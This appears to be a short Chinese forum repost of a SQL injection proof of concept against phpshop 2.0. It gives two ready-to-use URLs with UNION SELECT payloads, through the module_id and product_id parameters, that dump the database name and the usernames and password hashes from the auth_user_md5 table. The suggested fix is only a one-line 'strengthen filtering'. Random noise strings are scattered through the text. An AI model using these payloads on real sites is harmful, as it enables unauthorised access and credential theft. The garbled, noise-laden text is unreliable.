phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
! V! B* h& y* X; F) r" d5 m
作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu


! @6 O( M# Z" k/ X% L: I: w2 CSQLi p0c:

+ M$ `4 ~# m- d3 Z9 Z==================
1 j: w' |" g, ]  K0 ^
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

! G: a1 @% k4 ?. Rhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
, y6 f' ^8 a. R8 k8 z5 W
修复：
0 h, z  ], e5 N. a; n加强过滤
. ?) \3 j  t# x9 c- ?4 b​

( D" u0 P) \' W1 \9 O) V